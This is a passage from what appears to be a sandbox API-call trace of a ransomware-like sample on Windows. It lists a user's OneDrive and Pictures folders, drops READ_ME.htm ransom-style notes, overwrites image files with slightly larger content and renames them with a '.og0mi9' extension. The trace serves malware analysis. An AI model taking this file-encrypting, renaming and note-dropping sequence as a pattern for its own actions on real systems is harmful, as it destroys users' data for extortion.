lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.098] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xf2a44990, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.099] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xf2a44990, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0156.099] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0156.099] SetErrorMode (uMode=0x0) returned 0x1 [0156.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\OneDrive", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\OneDrive", lpFilePart=0x0) returned 0x1b [0156.099] SetErrorMode (uMode=0x1) returned 0x0 [0156.100] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\OneDrive\\*" (normalized: "c:\\users\\keecfmwgj\\onedrive\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0156.100] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.100] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xf2a44990, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.100] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xf2a44990, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0156.100] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0156.101] SetErrorMode (uMode=0x0) returned 0x1 [0156.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\OneDrive\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\OneDrive\\READ_ME.htm", lpFilePart=0x0) returned 0x27 [0156.101] SetErrorMode (uMode=0x1) returned 0x0 [0156.101] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\OneDrive\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\onedrive\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0156.102] GetFileType (hFile=0x1d0) returned 0x1 [0156.102] SetErrorMode (uMode=0x0) returned 0x1 [0156.102] GetFileType (hFile=0x1d0) returned 0x1 [0156.102] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d8d70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28d8d70*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0156.103] CloseHandle (hObject=0x1d0) returned 1 [0156.103] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0156.104] SetErrorMode (uMode=0x1) returned 0x0 [0156.104] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57fb09c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57fb09c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0156.104] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57fb09c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57fb09c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.104] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d05b040, ftCreationTime.dwHighDateTime=0x1d8be9a, ftLastAccessTime.dwLowDateTime=0x45d90b10, ftLastAccessTime.dwHighDateTime=0x1d8c10c, ftLastWriteTime.dwLowDateTime=0x45d90b10, ftLastWriteTime.dwHighDateTime=0x1d8c10c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4_gCpVi", cAlternateFileName="")) returned 1 [0156.104] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde3d280, ftCreationTime.dwHighDateTime=0x1d8ba66, ftLastAccessTime.dwLowDateTime=0x30d62480, ftLastAccessTime.dwHighDateTime=0x1d8c104, ftLastWriteTime.dwLowDateTime=0x30d62480, ftLastWriteTime.dwHighDateTime=0x1d8c104, nFileSizeHigh=0x0, nFileSizeLow=0x25b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Ew45zaMyck-_4NM.jpg", cAlternateFileName="8EW45Z~1.JPG")) returned 1 [0156.104] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287c6780, ftCreationTime.dwHighDateTime=0x1d8b930, ftLastAccessTime.dwLowDateTime=0x7a78d060, ftLastAccessTime.dwHighDateTime=0x1d8b9ca, ftLastWriteTime.dwLowDateTime=0x7a78d060, ftLastWriteTime.dwHighDateTime=0x1d8b9ca, nFileSizeHigh=0x0, nFileSizeLow=0x178fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ap5aZoqdUEP.png", cAlternateFileName="AP5AZO~1.PNG")) returned 1 [0156.104] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef0590, ftCreationTime.dwHighDateTime=0x1d8b491, ftLastAccessTime.dwLowDateTime=0x3d3df10, ftLastAccessTime.dwHighDateTime=0x1d8bbf8, ftLastWriteTime.dwLowDateTime=0x3d3df10, ftLastWriteTime.dwHighDateTime=0x1d8bbf8, nFileSizeHigh=0x0, nFileSizeLow=0x1706, dwReserved0=0x0, dwReserved1=0x0, cFileName="c2rKk.png", cAlternateFileName="")) returned 1 [0156.105] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7ed1e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.105] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcad0be40, ftCreationTime.dwHighDateTime=0x1d8c089, ftLastAccessTime.dwLowDateTime=0x63d9c0a0, ftLastAccessTime.dwHighDateTime=0x1d8c102, ftLastWriteTime.dwLowDateTime=0x63d9c0a0, ftLastWriteTime.dwHighDateTime=0x1d8c102, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hdQc_udJ4lFbk4Ni", cAlternateFileName="HDQC_U~1")) returned 1 [0156.105] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22631680, ftCreationTime.dwHighDateTime=0x1d8b860, ftLastAccessTime.dwLowDateTime=0x6b977fc0, ftLastAccessTime.dwHighDateTime=0x1d8bd25, ftLastWriteTime.dwLowDateTime=0x6b977fc0, ftLastWriteTime.dwHighDateTime=0x1d8bd25, nFileSizeHigh=0x0, nFileSizeLow=0x16283, dwReserved0=0x0, dwReserved1=0x0, cFileName="nFvnUcfZr2ciaqvGBH.gif", cAlternateFileName="NFVNUC~1.GIF")) returned 1 [0156.105] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57fb09c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x57fb09c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57fb09c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0156.105] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d51040, ftCreationTime.dwHighDateTime=0x1d8b38e, ftLastAccessTime.dwLowDateTime=0x68d25550, ftLastAccessTime.dwHighDateTime=0x1d8bbb1, ftLastWriteTime.dwLowDateTime=0x68d25550, ftLastWriteTime.dwHighDateTime=0x1d8bbb1, nFileSizeHigh=0x0, nFileSizeLow=0x14841, dwReserved0=0x0, dwReserved1=0x0, cFileName="xXMg NqTxoBvoofJbN8.gif", cAlternateFileName="XXMGNQ~1.GIF")) returned 1 [0156.105] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d51040, ftCreationTime.dwHighDateTime=0x1d8b38e, ftLastAccessTime.dwLowDateTime=0x68d25550, ftLastAccessTime.dwHighDateTime=0x1d8bbb1, ftLastWriteTime.dwLowDateTime=0x68d25550, ftLastWriteTime.dwHighDateTime=0x1d8bbb1, nFileSizeHigh=0x0, nFileSizeLow=0x14841, dwReserved0=0x0, dwReserved1=0x0, cFileName="xXMg NqTxoBvoofJbN8.gif", cAlternateFileName="XXMGNQ~1.GIF")) returned 0 [0156.105] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0156.106] SetErrorMode (uMode=0x0) returned 0x1 [0156.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0156.106] SetErrorMode (uMode=0x1) returned 0x0 [0156.106] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57fb09c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57fb09c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0156.106] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57fb09c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57fb09c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.106] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d05b040, ftCreationTime.dwHighDateTime=0x1d8be9a, ftLastAccessTime.dwLowDateTime=0x45d90b10, ftLastAccessTime.dwHighDateTime=0x1d8c10c, ftLastWriteTime.dwLowDateTime=0x45d90b10, ftLastWriteTime.dwHighDateTime=0x1d8c10c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4_gCpVi", cAlternateFileName="")) returned 1 [0156.106] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde3d280, ftCreationTime.dwHighDateTime=0x1d8ba66, ftLastAccessTime.dwLowDateTime=0x30d62480, ftLastAccessTime.dwHighDateTime=0x1d8c104, ftLastWriteTime.dwLowDateTime=0x30d62480, ftLastWriteTime.dwHighDateTime=0x1d8c104, nFileSizeHigh=0x0, nFileSizeLow=0x25b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Ew45zaMyck-_4NM.jpg", cAlternateFileName="8EW45Z~1.JPG")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287c6780, ftCreationTime.dwHighDateTime=0x1d8b930, ftLastAccessTime.dwLowDateTime=0x7a78d060, ftLastAccessTime.dwHighDateTime=0x1d8b9ca, ftLastWriteTime.dwLowDateTime=0x7a78d060, ftLastWriteTime.dwHighDateTime=0x1d8b9ca, nFileSizeHigh=0x0, nFileSizeLow=0x178fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ap5aZoqdUEP.png", cAlternateFileName="AP5AZO~1.PNG")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef0590, ftCreationTime.dwHighDateTime=0x1d8b491, ftLastAccessTime.dwLowDateTime=0x3d3df10, ftLastAccessTime.dwHighDateTime=0x1d8bbf8, ftLastWriteTime.dwLowDateTime=0x3d3df10, ftLastWriteTime.dwHighDateTime=0x1d8bbf8, nFileSizeHigh=0x0, nFileSizeLow=0x1706, dwReserved0=0x0, dwReserved1=0x0, cFileName="c2rKk.png", cAlternateFileName="")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7ed1e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcad0be40, ftCreationTime.dwHighDateTime=0x1d8c089, ftLastAccessTime.dwLowDateTime=0x63d9c0a0, ftLastAccessTime.dwHighDateTime=0x1d8c102, ftLastWriteTime.dwLowDateTime=0x63d9c0a0, ftLastWriteTime.dwHighDateTime=0x1d8c102, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hdQc_udJ4lFbk4Ni", cAlternateFileName="HDQC_U~1")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22631680, ftCreationTime.dwHighDateTime=0x1d8b860, ftLastAccessTime.dwLowDateTime=0x6b977fc0, ftLastAccessTime.dwHighDateTime=0x1d8bd25, ftLastWriteTime.dwLowDateTime=0x6b977fc0, ftLastWriteTime.dwHighDateTime=0x1d8bd25, nFileSizeHigh=0x0, nFileSizeLow=0x16283, dwReserved0=0x0, dwReserved1=0x0, cFileName="nFvnUcfZr2ciaqvGBH.gif", cAlternateFileName="NFVNUC~1.GIF")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57fb09c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x57fb09c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57fb09c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d51040, ftCreationTime.dwHighDateTime=0x1d8b38e, ftLastAccessTime.dwLowDateTime=0x68d25550, ftLastAccessTime.dwHighDateTime=0x1d8bbb1, ftLastWriteTime.dwLowDateTime=0x68d25550, ftLastWriteTime.dwHighDateTime=0x1d8bbb1, nFileSizeHigh=0x0, nFileSizeLow=0x14841, dwReserved0=0x0, dwReserved1=0x0, cFileName="xXMg NqTxoBvoofJbN8.gif", cAlternateFileName="XXMGNQ~1.GIF")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d51040, ftCreationTime.dwHighDateTime=0x1d8b38e, ftLastAccessTime.dwLowDateTime=0x68d25550, ftLastAccessTime.dwHighDateTime=0x1d8bbb1, ftLastWriteTime.dwLowDateTime=0x68d25550, ftLastWriteTime.dwHighDateTime=0x1d8bbb1, nFileSizeHigh=0x0, nFileSizeLow=0x14841, dwReserved0=0x0, dwReserved1=0x0, cFileName="xXMg NqTxoBvoofJbN8.gif", cAlternateFileName="XXMGNQ~1.GIF")) returned 0 [0156.108] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0156.108] SetErrorMode (uMode=0x0) returned 0x1 [0156.108] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg", lpFilePart=0x0) returned 0x30 [0156.108] SetErrorMode (uMode=0x1) returned 0x0 [0156.108] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8ew45zamyck-_4nm.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.109] GetFileType (hFile=0x1d0) returned 0x1 [0156.109] SetErrorMode (uMode=0x0) returned 0x1 [0156.109] GetFileType (hFile=0x1d0) returned 0x1 [0156.109] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x25b5 [0156.109] ReadFile (in: hFile=0x1d0, lpBuffer=0x28dc920, nNumberOfBytesToRead=0x25b5, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28dc920*, lpNumberOfBytesRead=0x21d4d8*=0x25b5, lpOverlapped=0x0) returned 1 [0156.110] CloseHandle (hObject=0x1d0) returned 1 [0156.181] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg", lpFilePart=0x0) returned 0x30 [0156.181] SetErrorMode (uMode=0x1) returned 0x0 [0156.181] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8ew45zamyck-_4nm.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.183] GetFileType (hFile=0x1d0) returned 0x1 [0156.183] SetErrorMode (uMode=0x0) returned 0x1 [0156.183] GetFileType (hFile=0x1d0) returned 0x1 [0156.183] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c8400*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x29c8400*, lpNumberOfBytesWritten=0x21d558*=0x25c0, lpOverlapped=0x0) returned 1 [0156.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg", lpFilePart=0x0) returned 0x30 [0156.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg.og0mi9", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg.og0mi9", lpFilePart=0x0) returned 0x37 [0156.186] SetErrorMode (uMode=0x1) returned 0x0 [0156.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8ew45zamyck-_4nm.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde3d280, ftCreationTime.dwHighDateTime=0x1d8ba66, ftLastAccessTime.dwLowDateTime=0x30d62480, ftLastAccessTime.dwHighDateTime=0x1d8c104, ftLastWriteTime.dwLowDateTime=0x599214e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x25c0)) returned 1 [0156.186] SetErrorMode (uMode=0x0) returned 0x1 [0156.186] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8ew45zamyck-_4nm.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\8Ew45zaMyck-_4NM.jpg.og0mi9" (normalized: "c:\\users\\keecfmwgj\\pictures\\8ew45zamyck-_4nm.jpg.og0mi9")) returned 1 [0156.187] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png", lpFilePart=0x0) returned 0x2b [0156.191] SetErrorMode (uMode=0x1) returned 0x0 [0156.191] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\ap5azoqduep.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.191] GetFileType (hFile=0x1d0) returned 0x1 [0156.191] SetErrorMode (uMode=0x0) returned 0x1 [0156.191] GetFileType (hFile=0x1d0) returned 0x1 [0156.191] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x178fb [0156.192] ReadFile (in: hFile=0x1d0, lpBuffer=0x12942550, nNumberOfBytesToRead=0x178fb, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x12942550*, lpNumberOfBytesRead=0x21d4d8*=0x178fb, lpOverlapped=0x0) returned 1 [0156.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\Ap5aZoqdUEP.png", lpFilePart=0x0) returned 0x2b [0156.266] SetErrorMode (uMode=0x1) returned 